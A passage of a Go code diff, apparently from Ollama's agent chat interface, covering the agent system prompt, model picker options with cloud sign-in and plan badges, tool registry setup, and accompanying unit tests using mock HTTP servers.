"Be concise, practical, and action-oriented. Use tools when they materially help. Verify current or fast-changing facts with web tools when available; otherwise state uncertainty.",
|
||||
"",
|
||||
"Use " + shellName + " carefully. Prefer read-only inspection first. Stay within the current working directory unless explicitly asked. Surface intent before risky actions such as writes, deletes, moves, installs, git state changes, service changes, sudo, secrets access, network scripts, or commands outside the working directory. Request approval when required and do not work around denied approvals.",
|
||||
"",
|
||||
"Tell the user about meaningful changes, verification, failures, blockers, assumptions, and risks. Summarize routine tool output instead of dumping it.",
|
||||
}, "\n")
|
||||
}
|
||||
|
||||
func agentModelOptions(ctx context.Context, client *api.Client) ([]agentchat.ModelOption, error) {
|
||||
if client == nil {
|
||||
return nil, errors.New("model picker requires an API client")
|
||||
}
|
||||
|
||||
list, err := client.List(ctx)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
seen := make(map[string]struct{})
|
||||
var options []agentchat.ModelOption
|
||||
add := func(name, description string, recommended bool, requiredPlan string, cloud bool) {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
return
|
||||
}
|
||||
key := strings.ToLower(name)
|
||||
if _, ok := seen[key]; ok {
|
||||
return
|
||||
}
|
||||
seen[key] = struct{}{}
|
||||
options = append(options, agentchat.ModelOption{
|
||||
Name: name,
|
||||
Description: strings.TrimSpace(description),
|
||||
Recommended: recommended,
|
||||
RequiredPlan: requiredPlan,
|
||||
Cloud: cloud,
|
||||
})
|
||||
}
|
||||
|
||||
if disabled, known := agentCloudStatusDisabled(ctx, client); !known || !disabled {
|
||||
if recs, err := client.ModelRecommendationsExperimental(ctx); err == nil {
|
||||
for _, rec := range recs.Recommendations {
|
||||
name := strings.TrimSpace(rec.Model)
|
||||
if !modelref.HasExplicitCloudSource(name) {
|
||||
continue
|
||||
}
|
||||
add(name, agentRecommendationDescription(rec), true, strings.TrimSpace(rec.RequiredPlan), true)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
local := slices.Clone(list.Models)
|
||||
slices.SortStableFunc(local, func(a, b api.ListModelResponse) int {
|
||||
return strings.Compare(strings.ToLower(a.Name), strings.ToLower(b.Name))
|
||||
})
|
||||
for _, model := range local {
|
||||
name := strings.TrimSpace(model.Name)
|
||||
if name == "" {
|
||||
name = strings.TrimSpace(model.Model)
|
||||
}
|
||||
name = strings.TrimSuffix(name, ":latest")
|
||||
if modelref.HasExplicitCloudSource(name) {
|
||||
// Cloud-sourced models in the local tags list keep their ":cloud"
|
||||
// suffix in the name and show arch details without a "cloud" marker.
|
||||
// If a curated rec already added this model, the dedup above keeps
|
||||
// the rec entry.
|
||||
add(name, agentCloudModelDescription(model), false, "", true)
|
||||
continue
|
||||
}
|
||||
add(name, agentLocalModelDescription(model), false, "", false)
|
||||
}
|
||||
|
||||
// Compute availability badges for cloud models based on account state.
|
||||
badges, signInURLs := cloudAvailabilityBadges(ctx, client, options)
|
||||
for i := range options {
|
||||
options[i].AvailabilityBadge = badges[options[i].Name]
|
||||
options[i].SignInURL = signInURLs[options[i].Name]
|
||||
}
|
||||
|
||||
return options, nil
|
||||
}
|
||||
|
||||
// cloudAvailabilityBadges returns a map of model name → availability badge
|
||||
// for cloud models that require sign-in or a plan upgrade. It also returns
|
||||
// a map of model name → sign-in URL for models that require sign-in.
|
||||
func cloudAvailabilityBadges(ctx context.Context, client *api.Client, options []agentchat.ModelOption) (map[string]string, map[string]string) {
|
||||
badges := make(map[string]string)
|
||||
signInURLs := make(map[string]string)
|
||||
hasCloud := false
|
||||
for _, opt := range options {
|
||||
if opt.Cloud {
|
||||
hasCloud = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !hasCloud {
|
||||
return badges, signInURLs
|
||||
}
|
||||
|
||||
if disabled, known := agentCloudStatusDisabled(ctx, client); known && disabled {
|
||||
return badges, signInURLs
|
||||
}
|
||||
|
||||
whoamiCtx, cancel := context.WithTimeout(ctx, 3*time.Second)
|
||||
defer cancel()
|
||||
user, err := client.Whoami(whoamiCtx)
|
||||
if err != nil {
|
||||
// Whoami failed — likely not signed in. Extract the sign-in URL
|
||||
// from the authorization error so we can show it immediately.
|
||||
var authErr api.AuthorizationError
|
||||
signInURL := ""
|
||||
if errors.As(err, &authErr) && authErr.SigninURL != "" {
|
||||
signInURL = authErr.SigninURL
|
||||
}
|
||||
for _, opt := range options {
|
||||
if opt.Cloud {
|
||||
badges[opt.Name] = "Sign in required"
|
||||
if signInURL != "" {
|
||||
signInURLs[opt.Name] = signInURL
|
||||
}
|
||||
}
|
||||
}
|
||||
return badges, signInURLs
|
||||
}
|
||||
|
||||
signedIn := user != nil && user.Name != ""
|
||||
for _, opt := range options {
|
||||
if !opt.Cloud {
|
||||
continue
|
||||
}
|
||||
if !signedIn {
|
||||
badges[opt.Name] = "Sign in required"
|
||||
} else if opt.RequiredPlan != "" && !launch.PlanSatisfies(user.Plan, opt.RequiredPlan) {
|
||||
badges[opt.Name] = "Upgrade required"
|
||||
}
|
||||
}
|
||||
return badges, signInURLs
|
||||
}
|
||||
|
||||
func agentRecommendationDescription(rec api.ModelRecommendation) string {
|
||||
var parts []string
|
||||
if description := strings.TrimSpace(rec.Description); description != "" {
|
||||
parts = append(parts, description)
|
||||
} else {
|
||||
parts = append(parts, "cloud")
|
||||
}
|
||||
if rec.ContextLength > 0 {
|
||||
parts = append(parts, format.HumanNumber(uint64(rec.ContextLength))+" ctx")
|
||||
}
|
||||
return strings.Join(parts, " · ")
|
||||
}
|
||||
|
||||
// agentModelArchDescription builds the shared arch-details + context segment
|
||||
// used by both local and cloud-sourced tag entries: "<family> <params> <quant>
|
||||
// · N ctx>". Parameter sizes that are raw numbers (common for cloud stubs) are
|
||||
// humanized, e.g. "27000000000" -> "27B".
|
||||
func agentModelArchDescription(model api.ListModelResponse) string {
|
||||
var details []string
|
||||
if model.Details.Family != "" {
|
||||
details = append(details, model.Details.Family)
|
||||
}
|
||||
if ps := humanizedParameterSize(model.Details.ParameterSize); ps != "" {
|
||||
details = append(details, ps)
|
||||
}
|
||||
if model.Details.QuantizationLevel != "" {
|
||||
details = append(details, model.Details.QuantizationLevel)
|
||||
}
|
||||
var parts []string
|
||||
if len(details) > 0 {
|
||||
parts = append(parts, strings.Join(details, " "))
|
||||
}
|
||||
if model.Details.ContextLength > 0 {
|
||||
parts = append(parts, format.HumanNumber(uint64(model.Details.ContextLength))+" ctx")
|
||||
}
|
||||
return strings.Join(parts, " · ")
|
||||
}
|
||||
|
||||
func agentLocalModelDescription(model api.ListModelResponse) string {
|
||||
desc := agentModelArchDescription(model)
|
||||
if desc == "" {
|
||||
return "local"
|
||||
}
|
||||
return "local · " + desc
|
||||
}
|
||||
|
||||
// agentCloudModelDescription describes a cloud-sourced model present in the
|
||||
// local tags list. It omits a "cloud" marker (the model name keeps its
|
||||
// ":cloud"/"-cloud" suffix) and shows the same arch details as local models.
|
||||
func agentCloudModelDescription(model api.ListModelResponse) string {
|
||||
return agentModelArchDescription(model)
|
||||
}
|
||||
|
||||
func humanizedParameterSize(s string) string {
|
||||
s = strings.TrimSpace(s)
|
||||
if s == "" {
|
||||
return ""
|
||||
}
|
||||
if f, err := strconv.ParseFloat(s, 64); err == nil {
|
||||
return format.HumanNumber(uint64(f))
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func agentToolsRegistry(ctx context.Context, client *api.Client, modelName string, catalog *skills.Catalog) *coreagent.Registry {
|
||||
supportsTools, err := agentModelSupportsTools(ctx, client, modelName)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err)
|
||||
}
|
||||
if !supportsTools {
|
||||
return nil
|
||||
}
|
||||
|
||||
registry := coreagent.NewRegistry()
|
||||
if os.Getenv("OLLAMA_AGENT_DISABLE_SHELL") == "" {
|
||||
registry.Register(agenttools.NewBash())
|
||||
}
|
||||
registry.Register(agenttools.NewRead())
|
||||
registry.Register(agenttools.NewEdit())
|
||||
if !catalog.Empty() {
|
||||
registry.Register(agenttools.NewSkill(catalog))
|
||||
}
|
||||
|
||||
if os.Getenv("OLLAMA_AGENT_DISABLE_WEBSEARCH") == "" {
|
||||
if disabled, known := agentCloudStatusDisabled(ctx, client); !known || !disabled {
|
||||
registry.Register(agenttools.NewWebSearch())
|
||||
registry.Register(agenttools.NewWebFetch())
|
||||
} else {
|
||||
fmt.Fprintf(os.Stderr, "%s\n", internalcloud.DisabledError("web search is unavailable"))
|
||||
}
|
||||
}
|
||||
return registry
|
||||
}
|
||||
|
||||
func preloadAgentModelIfLocal(ctx context.Context, client *api.Client, opts AgentTUIOptions, modelName string) error {
|
||||
modelName = strings.TrimSpace(modelName)
|
||||
if client == nil || modelName == "" {
|
||||
return nil
|
||||
}
|
||||
info, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if info.RemoteHost != "" || modelref.HasExplicitCloudSource(modelName) {
|
||||
return nil
|
||||
}
|
||||
return preloadLocalModel(ctx, client, runOptions{
|
||||
Model: modelName,
|
||||
KeepAlive: opts.KeepAlive,
|
||||
Think: opts.Think,
|
||||
})
|
||||
}
|
||||
|
||||
func agentModelSupportsTools(ctx context.Context, client *api.Client, modelName string) (bool, error) {
|
||||
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return slices.Contains(resp.Capabilities, model.CapabilityTools), nil
|
||||
}
|
||||
|
||||
func agentModelSupportsMultimodal(ctx context.Context, client *api.Client, modelName string) bool {
|
||||
if client == nil || strings.TrimSpace(modelName) == "" {
|
||||
return false
|
||||
}
|
||||
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err)
|
||||
return false
|
||||
}
|
||||
|
||||
if slices.Contains(resp.Capabilities, model.CapabilityVision) || slices.Contains(resp.Capabilities, model.CapabilityAudio) {
|
||||
return true
|
||||
}
|
||||
if len(resp.ProjectorInfo) != 0 {
|
||||
return true
|
||||
}
|
||||
for key := range resp.ModelInfo {
|
||||
if strings.Contains(key, ".vision.") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func agentCloudStatusDisabled(ctx context.Context, client *api.Client) (disabled bool, known bool) {
|
||||
if internalcloud.Disabled() {
|
||||
return true, true
|
||||
}
|
||||
|
||||
status, err := client.CloudStatusExperimental(ctx)
|
||||
if err != nil {
|
||||
var statusErr api.StatusError
|
||||
if errors.As(err, &statusErr) && statusErr.StatusCode == http.StatusNotFound {
|
||||
return false, false
|
||||
}
|
||||
return false, false
|
||||
}
|
||||
return status.Cloud.Disabled, true
|
||||
}
|
||||
|
||||
// ensureCloudModelAccess checks whether the user is signed in and has a
|
||||
// sufficient plan to use a cloud model. It returns an AuthorizationError
|
||||
// (with SigninURL) when sign-in is needed, or a plan error when upgrade is
|
||||
// needed.
|
||||
func ensureCloudModelAccess(ctx context.Context, client *api.Client, model, requiredPlan string) error {
|
||||
if client == nil {
|
||||
return errors.New("no API client available")
|
||||
}
|
||||
|
||||
if disabled, known := agentCloudStatusDisabled(ctx, client); known && disabled {
|
||||
return errors.New("remote inference is unavailable")
|
||||
}
|
||||
|
||||
user, err := client.Whoami(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if user != nil && user.Name != "" {
|
||||
if requiredPlan != "" && !launch.PlanSatisfies(user.Plan, requiredPlan) {
|
||||
return fmt.Errorf("plan upgrade required: %s needs plan %s, you have %s", model, requiredPlan, user.Plan)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
return fmt.Errorf("%s requires sign in", model)
|
||||
}
|
||||
@@ -0,0 +1,481 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"os"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/agent/skills"
|
||||
agenttools "github.com/ollama/ollama/agent/tools"
|
||||
"github.com/ollama/ollama/api"
|
||||
agentchat "github.com/ollama/ollama/cmd/tui/chat"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
modelpkg "github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
func setAgentTUITestCloudEnabled(t *testing.T) {
|
||||
t.Helper()
|
||||
home := t.TempDir()
|
||||
t.Setenv("HOME", home)
|
||||
t.Setenv("USERPROFILE", home)
|
||||
t.Setenv("OLLAMA_NO_CLOUD", "")
|
||||
envconfig.ReloadServerConfig()
|
||||
}
|
||||
|
||||
func TestAgentSystemPromptIncludesModel(t *testing.T) {
|
||||
prompt := agentSystemPromptAt(time.Date(2026, time.June, 12, 9, 30, 0, 0, time.UTC), "llama3.2", nil, false, "", "")
|
||||
shellName := "bash"
|
||||
if runtime.GOOS == "windows" {
|
||||
shellName = "PowerShell"
|
||||
}
|
||||
for _, want := range []string{
|
||||
"You are running in Ollama, in a harness to help the user accomplish tasks, and the model is llama3.2.",
|
||||
"Current date: Friday, June 12, 2026.",
|
||||
"Be concise, practical, and action-oriented.",
|
||||
"Use " + shellName + " carefully.",
|
||||
"Tell the user about meaningful changes",
|
||||
} {
|
||||
if !strings.Contains(prompt, want) {
|
||||
t.Fatalf("prompt missing %q:\n%s", want, prompt)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentSystemPromptIncludesModelSystem(t *testing.T) {
|
||||
prompt := agentSystemPromptAt(time.Date(2026, time.June, 12, 9, 30, 0, 0, time.UTC), "llama3.2", nil, false, "You are a pirate.", "")
|
||||
if !strings.Contains(prompt, "You are a pirate.") {
|
||||
t.Fatalf("prompt missing model system:\n%s", prompt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentHeadlessEventSinkSuppressesThinking(t *testing.T) {
|
||||
output := captureStdout(t, func() {
|
||||
sink := &agentHeadlessEventSink{}
|
||||
if err := sink.Emit(coreagent.Event{Type: coreagent.EventThinkingDelta, Thinking: "thinking"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := sink.Emit(coreagent.Event{Type: coreagent.EventMessageDelta, Content: "answer"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
if output != "answer" {
|
||||
t.Fatalf("output = %q, want answer only", output)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentHeadlessEventSinkPrintsOnlyFinishedToolEvents(t *testing.T) {
|
||||
output := captureStderr(t, func() {
|
||||
sink := &agentHeadlessEventSink{}
|
||||
if err := sink.Emit(coreagent.Event{
|
||||
Type: coreagent.EventToolStarted,
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "pwd"},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := sink.Emit(coreagent.Event{
|
||||
Type: coreagent.EventToolFinished,
|
||||
Status: "done",
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "pwd"},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := sink.Emit(coreagent.Event{
|
||||
Type: coreagent.EventToolFinished,
|
||||
Status: "denied",
|
||||
ToolName: "edit",
|
||||
Args: map[string]any{"path": "main.go"},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := sink.Emit(coreagent.Event{
|
||||
Type: coreagent.EventToolFinished,
|
||||
Status: "done",
|
||||
ToolName: "web_fetch",
|
||||
Args: map[string]any{"url": "https://example.com"},
|
||||
Error: "timeout",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
if strings.Contains(output, "in progress") {
|
||||
t.Fatalf("headless output should not include in-progress tool events:\n%s", output)
|
||||
}
|
||||
for _, want := range []string{
|
||||
`• Bash("pwd") done`,
|
||||
`• Edit("main.go") failed`,
|
||||
`• Web Fetch("https://example.com") failed`,
|
||||
} {
|
||||
if !strings.Contains(output, want) {
|
||||
t.Fatalf("headless output missing %q:\n%s", want, output)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentHeadlessEventSinkPrintsToolEventsAfterContentNewline(t *testing.T) {
|
||||
var stdout string
|
||||
stderr := captureStderr(t, func() {
|
||||
stdout = captureStdout(t, func() {
|
||||
sink := &agentHeadlessEventSink{}
|
||||
if err := sink.Emit(coreagent.Event{Type: coreagent.EventMessageDelta, Content: "checking"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := sink.Emit(coreagent.Event{
|
||||
Type: coreagent.EventToolFinished,
|
||||
Status: "done",
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "pwd"},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
})
|
||||
if stdout != "checking\n" {
|
||||
t.Fatalf("stdout = %q, want content newline before tool event", stdout)
|
||||
}
|
||||
if stderr != "• Bash(\"pwd\") done\n" {
|
||||
t.Fatalf("stderr = %q, want compact tool status", stderr)
|
||||
}
|
||||
}
|
||||
|
||||
func captureStdout(t *testing.T, fn func()) string {
|
||||
t.Helper()
|
||||
|
||||
oldStdout := os.Stdout
|
||||
r, w, err := os.Pipe()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
os.Stdout = w
|
||||
t.Cleanup(func() {
|
||||
os.Stdout = oldStdout
|
||||
})
|
||||
|
||||
fn()
|
||||
|
||||
if err := w.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
out, err := io.ReadAll(r)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
os.Stdout = oldStdout
|
||||
return string(out)
|
||||
}
|
||||
|
||||
func captureStderr(t *testing.T, fn func()) string {
|
||||
t.Helper()
|
||||
|
||||
oldStderr := os.Stderr
|
||||
r, w, err := os.Pipe()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
os.Stderr = w
|
||||
t.Cleanup(func() {
|
||||
os.Stderr = oldStderr
|
||||
})
|
||||
|
||||
fn()
|
||||
|
||||
if err := w.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
out, err := io.ReadAll(r)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
os.Stderr = oldStderr
|
||||
return string(out)
|
||||
}
|
||||
|
||||
func TestAgentToolsRegistryNoCloudDisablesWebTools(t *testing.T) {
|
||||
t.Setenv("OLLAMA_NO_CLOUD", "1")
|
||||
t.Setenv("OLLAMA_AGENT_DISABLE_SHELL", "")
|
||||
t.Setenv("OLLAMA_AGENT_DISABLE_WEBSEARCH", "")
|
||||
|
||||
statusCalls := 0
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/show":
|
||||
_ = json.NewEncoder(w).Encode(api.ShowResponse{
|
||||
Capabilities: []modelpkg.Capability{modelpkg.CapabilityTools},
|
||||
})
|
||||
case "/api/status":
|
||||
statusCalls++
|
||||
_ = json.NewEncoder(w).Encode(api.StatusResponse{})
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
baseURL, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
registry := agentToolsRegistry(context.Background(), api.NewClient(baseURL, srv.Client()), "test-model", nil)
|
||||
if registry == nil {
|
||||
t.Fatal("registry = nil, want local tools")
|
||||
}
|
||||
if !registry.Has(agenttools.NewBash().Name()) || !registry.Has("read") || !registry.Has("edit") {
|
||||
t.Fatalf("local tools missing: %v", registry.Names())
|
||||
}
|
||||
if registry.Has("list") {
|
||||
t.Fatalf("list tool should not be registered; got %v", registry.Names())
|
||||
}
|
||||
if registry.Has("web_search") || registry.Has("web_fetch") {
|
||||
t.Fatalf("web tools should be disabled when OLLAMA_NO_CLOUD is set: %v", registry.Names())
|
||||
}
|
||||
if statusCalls != 0 {
|
||||
t.Fatalf("/api/status calls = %d, want local no-cloud short-circuit", statusCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentToolsRegistryRegistersSkillTool(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/show":
|
||||
_ = json.NewEncoder(w).Encode(api.ShowResponse{
|
||||
Capabilities: []modelpkg.Capability{modelpkg.CapabilityTools},
|
||||
})
|
||||
case "/api/status":
|
||||
_ = json.NewEncoder(w).Encode(api.StatusResponse{})
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
baseURL, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
catalog := &skills.Catalog{Skills: []skills.Skill{{Name: "go-code", Description: "Write Go code."}}}
|
||||
registry := agentToolsRegistry(context.Background(), api.NewClient(baseURL, srv.Client()), "test-model", catalog)
|
||||
if registry == nil || !registry.Has("skill") {
|
||||
t.Fatalf("registry missing skill tool: %#v", registry)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentModelOptionsIncludesCloudRecommendationsAndLocalModels(t *testing.T) {
|
||||
setAgentTUITestCloudEnabled(t)
|
||||
|
||||
var recommendationsCalled bool
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/tags":
|
||||
_ = json.NewEncoder(w).Encode(api.ListResponse{
|
||||
Models: []api.ListModelResponse{{
|
||||
Name: "llama3.2:latest",
|
||||
Details: api.ModelDetails{
|
||||
Family: "llama",
|
||||
ParameterSize: "3B",
|
||||
QuantizationLevel: "Q4_K_M",
|
||||
ContextLength: 131072,
|
||||
},
|
||||
Size: 2_000_000_000,
|
||||
}, {
|
||||
Name: "gemma3:27b-cloud",
|
||||
Details: api.ModelDetails{
|
||||
Family: "gemma3",
|
||||
ParameterSize: "27000000000",
|
||||
QuantizationLevel: "bf16",
|
||||
ContextLength: 131072,
|
||||
},
|
||||
}},
|
||||
})
|
||||
case "/api/status":
|
||||
_ = json.NewEncoder(w).Encode(api.StatusResponse{})
|
||||
case "/api/experimental/model-recommendations":
|
||||
recommendationsCalled = true
|
||||
_ = json.NewEncoder(w).Encode(api.ModelRecommendationsResponse{
|
||||
Recommendations: []api.ModelRecommendation{
|
||||
{Model: "qwen3.5:cloud", Description: "cloud reasoning", ContextLength: 262144, RequiredPlan: "pro"},
|
||||
{Model: "gemma4", Description: "local recommendation should be ignored"},
|
||||
},
|
||||
})
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
baseURL, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
options, err := agentModelOptions(context.Background(), api.NewClient(baseURL, srv.Client()))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !recommendationsCalled {
|
||||
t.Fatal("expected recommendations endpoint to be called")
|
||||
}
|
||||
if got, want := modelOptionNames(options), []string{"qwen3.5:cloud", "gemma3:27b-cloud", "llama3.2"}; !slices.Equal(got, want) {
|
||||
t.Fatalf("model options = %#v, want %#v", got, want)
|
||||
}
|
||||
if options[0].Description == "" || options[1].Description == "" || options[2].Description == "" {
|
||||
t.Fatalf("expected descriptions for model options: %#v", options)
|
||||
}
|
||||
// A cloud-sourced model in the local tags list keeps its ":cloud" suffix in
|
||||
// the name, shows humanized arch details + ctx, and carries no "cloud" or
|
||||
// "local" marker (the name conveys the cloud source).
|
||||
cloudOpt := options[1]
|
||||
if cloudOpt.Name != "gemma3:27b-cloud" {
|
||||
t.Fatalf("cloud-tagged model name = %q, want :cloud suffix kept", cloudOpt.Name)
|
||||
}
|
||||
if strings.Contains(cloudOpt.Description, "cloud") || strings.Contains(cloudOpt.Description, "local") {
|
||||
t.Fatalf("cloud-tagged model description = %q, should not include cloud/local marker", cloudOpt.Description)
|
||||
}
|
||||
if !strings.Contains(cloudOpt.Description, "27B") || !strings.Contains(cloudOpt.Description, "bf16") {
|
||||
t.Fatalf("cloud-tagged model description = %q, want humanized params + quant", cloudOpt.Description)
|
||||
}
|
||||
if strings.Contains(cloudOpt.Description, "27000000000") {
|
||||
t.Fatalf("cloud-tagged model description = %q, should not leak raw param size", cloudOpt.Description)
|
||||
}
|
||||
if !options[0].Recommended || options[1].Recommended {
|
||||
t.Fatalf("recommended flags = %#v, want only cloud recommendation marked", options)
|
||||
}
|
||||
if strings.Contains(options[0].Description, "plan") || strings.Contains(options[0].Description, "pro") {
|
||||
t.Fatalf("recommendation description should not include plan type: %q", options[0].Description)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentModelOptionsNoCloudSkipsCloudRecommendations(t *testing.T) {
|
||||
t.Setenv("OLLAMA_NO_CLOUD", "1")
|
||||
|
||||
var recommendationsCalled bool
|
||||
var statusCalled bool
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/tags":
|
||||
_ = json.NewEncoder(w).Encode(api.ListResponse{
|
||||
Models: []api.ListModelResponse{{Name: "llama3.2:latest"}},
|
||||
})
|
||||
case "/api/status":
|
||||
statusCalled = true
|
||||
_ = json.NewEncoder(w).Encode(api.StatusResponse{})
|
||||
case "/api/experimental/model-recommendations":
|
||||
recommendationsCalled = true
|
||||
_ = json.NewEncoder(w).Encode(api.ModelRecommendationsResponse{
|
||||
Recommendations: []api.ModelRecommendation{{Model: "qwen3.5:cloud"}},
|
||||
})
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
baseURL, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
options, err := agentModelOptions(context.Background(), api.NewClient(baseURL, srv.Client()))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if recommendationsCalled {
|
||||
t.Fatal("recommendations endpoint should not be called when no-cloud is set")
|
||||
}
|
||||
if statusCalled {
|
||||
t.Fatal("status endpoint should not be called when local no-cloud short-circuits")
|
||||
}
|
||||
if got, want := modelOptionNames(options), []string{"llama3.2"}; !slices.Equal(got, want) {
|
||||
t.Fatalf("model options = %#v, want %#v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPreloadAgentModelIfLocalLoadsLocalModel(t *testing.T) {
|
||||
var generateReq api.GenerateRequest
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/show":
|
||||
_ = json.NewEncoder(w).Encode(api.ShowResponse{})
|
||||
case "/api/generate":
|
||||
if err := json.NewDecoder(r.Body).Decode(&generateReq); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_ = json.NewEncoder(w).Encode(api.GenerateResponse{Done: true})
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
baseURL, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
keepAlive := api.Duration{Duration: 5 * time.Minute}
|
||||
think := &api.ThinkValue{Value: "low"}
|
||||
err = preloadAgentModelIfLocal(context.Background(), api.NewClient(baseURL, srv.Client()), AgentTUIOptions{
|
||||
KeepAlive: &keepAlive,
|
||||
Think: think,
|
||||
}, "llama3.2")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if generateReq.Model != "llama3.2" {
|
||||
t.Fatalf("generate model = %q, want llama3.2", generateReq.Model)
|
||||
}
|
||||
if generateReq.KeepAlive == nil || generateReq.KeepAlive.Duration != 5*time.Minute {
|
||||
t.Fatalf("generate keepalive = %#v, want 5m", generateReq.KeepAlive)
|
||||
}
|
||||
if generateReq.Think == nil || generateReq.Think.String() != "low" {
|
||||
t.Fatalf("generate think = %#v, want low", generateReq.Think)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPreloadAgentModelIfLocalSkipsCloudModel(t *testing.T) {
|
||||
generateCalled := false
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/show":
|
||||
_ = json.NewEncoder(w).Encode(api.ShowResponse{RemoteHost: "https://ollama.com"})
|
||||
case "/api/generate":
|
||||
generateCalled = true
|
||||
t.Fatal("cloud model should not be preloaded with generate")
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
baseURL, err := url.Parse(srv.URL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := preloadAgentModelIfLocal(context.Background(), api.NewClient(baseURL, srv.Client()), AgentTUIOptions{}, "kimi-k2:cloud"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if generateCalled {
|
||||
t.Fatal("generate was called for cloud model")
|
||||
}
|
||||
}
|
||||
|
||||
